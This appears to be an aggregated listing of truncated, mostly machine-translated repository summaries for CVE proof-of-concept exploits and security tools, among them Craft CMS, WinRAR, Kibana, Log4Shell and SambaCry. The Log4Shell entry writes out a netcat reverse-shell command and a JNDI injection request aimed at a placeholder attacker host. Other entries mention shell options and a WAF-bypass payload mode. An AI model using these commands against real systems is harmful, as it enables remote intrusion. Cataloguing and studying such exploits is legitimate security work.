CVE-2025-32432

CVE-2025-32432 Craft CMS — PoC RCE pré-auth Exécution de code à distance critique avant authentification dans Craft CMS Versions concernées : Craft CMS 3.x, 4.x et 5.x jusqu'à 5.6.16 Info : Cet exploit a été testé contre la machine Orion de HackTheBox Aperçu Ce dépôt contient un exploit...

CVE-2025-60787

CVE-2025-60787 - RCE authentifié dans motionEye PoC pour CVE-2025-60787 qui est une vulnérabilité RCE authentifiée pour motionEye avec toutes les versions affectées jusqu'à 0.43.1b4 incluse. Ceci est un PoC automatisé pour la vulnérabilité décrite dans ce dépôt. Remerciements à prabhatverma47...

CVE-2023-38831-RaRCE

RaRCE, Générateur d'exploit pour CVE-2023-38831 Il s'agit d'un générateur d'exploit facile à installer et à utiliser, polyvalent, pour CVE-2023-38831, une vulnérabilité qui affecte WinRAR versions antérieures à 6.23. RARLabs WinRAR avant la version 6.23 permet à des attaquants d'exécuter du code...

CVE-2019-7214

CVE-2019-7214 Exécution de code à distance dans la désérialisation .NET pour le système SmarterMail. Collection Veuillez trouver une collection de preuves de concept pour l'exploit dans ce dépôt. Certaines peuvent fonctionner comme prévu sans modification et d'autres peuvent nécessiter des...

CVE-2026-5201

CVE-2026-5201 gdk-pixbuf JPEGローダーにおけるヒープベースのバッファオーバーフロー こんにちは、Kağan Çapar です。私は、実質的にすべてのLinuxデスクトップ環境に影響するgdk-pixbufのJPEG画像ローダーにおけるヒープベースのバッファオーバーフロー脆弱性を発見しました。この脆弱性には CVE-2026-5201 が割り当てられ、Red Hat によって CVSS スコア 7.5 重要 として確認されました。 このリポジトリには、私の完全な分析、ゼロから作成した再現コード、および実際の Ubuntu 24.04 LTS...

CVE-2024-24809-Proof-of-concept

Détail de CVE-2024-24809 Description Traccar est un système de suivi GPS open source. Les versions antérieures à 6.0 sont vulnérables au path traversal et au téléchargement sans restriction de fichiers de type dangereux. Étant donné que le système permet l'enregistrement par défaut, les attaquant...

jvmxray

JVMXRay: Java Application Security Monitoring Duke history Documentation | Changes from Upstream | Project Blog JVMXRay monitors Java applications in real-time via bytecode injection, detecting vulnerabilities and suspicious activity without code changes. 19 modular sensors track file access,...

threadtear

Threadtear Threadtear est un outil de désobfuscation multifonctionnel pour Java. Le support des applications Android arrive bientôt je travaille actuellement sur un convertisseur dalvik vers java. Idéal pour une analyse de code plus facile sans trop se soucier de l'obfuscation. Même les...

CVE-2019-7609

CVE-2019-7609 Эксплуатация CVE-2019-7609kibana RCE правильным способом с помощью python2-скриптов скриншот использование python2 CVE-2019-7609-kibana-rce.py -h usage: CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show this help...

CVE-2022-29078

CVE-2022-29078 ejs 3.1.6 docker vulnérable Installation git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs Utilisation http://127.0.0.1:49160/ Exploitation Dans le navigateur...

binaryalert

BinaryAlert: Serverless, Real-Time & Retroactive Malware Detection .. image:: https://travis-ci.org/airbnb/binaryalert.svg?branch=master :target: https://travis-ci.org/airbnb/binaryalert :alt: Build Status .. image:: https://coveralls.io/repos/github/airbnb/binaryalert/badge.svg?branch=master...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Scanner pour détecter la vulnérabilité d'exécution de code à distance du spouleur d'impression Windows CVE-2021-1675 Prérequis python3 python3 -m pip install -r Requirements.txt Utilisation python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h -t TARGET -T...

NextRce

NextRce - Outil d'exploitation RSC Next.js CVE-2025-55182 Scanner et Exploitant de Vulnérabilité Avancé pour Next.js App Router Développé parMitsec 🔥 Nouvelle Fonctionnalité : Mode Contournement WAF UTF-16LE Les charges utiles standard contenant des mots-clés comme childprocess ou execSync sont...

wp2shell-poc-fulljs

Démonstration du flux logique des CVE de WordPress Vue d'ensemble Ce projet permet de reproduire le flux logique lié aux CVE-2026-63030 et CVE-2026-60137, menant à une injection SQL servant de base pour finalement déclencher une RCE dans WordPress. CVE-2026-63030 CVE-2026-60137 La démonstration...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir en Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Preuve de concept Log4j P...

TokenTactics

TokenTactics Ensemble d'outils de manipulation des jetons Web JSON Azure « JWT » Les jetons d'accès Azure vous permettent de vous authentifier auprès de certains points de terminaison en tant qu'utilisateur qui se connecte avec un code d'appareil. Même s'ils ont utilisé l'authentification...

exploit-CVE-2017-7494

SambaCry RCE эксплойт для Samba 4.5.9 Samba — это свободная программная реализация сетевого протокола SMB/CIFS. Samba предоставляет файловые и печатные сервисы для различных клиентов Microsoft Windows и может интегрироваться с доменом Microsoft Windows Server, либо как контроллер домена DC, либо...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

confluence-rce-poc

confluence-rce-poc Configuration du POC pour CVE-2021-26084 Docker Utilisez le fichier docker-entrypoint.sh officiel pour postgres, modifiez le nom d'utilisateur et le mot de passe de la base de données selon vos besoins...

CVE-2022-31626

CVE-2022-31626 Dans les versions de PHP 7.4.x antérieures à 7.4.30, 8.0.x antérieures à 8.0.20 et 8.1.x antérieures à 8.1.7, lorsque l'extension pdomysql avec le pilote mysqlnd est utilisée, si un tiers est autorisé à fournir l'hôte auquel se connecter et le mot de passe de connexion, un mot de...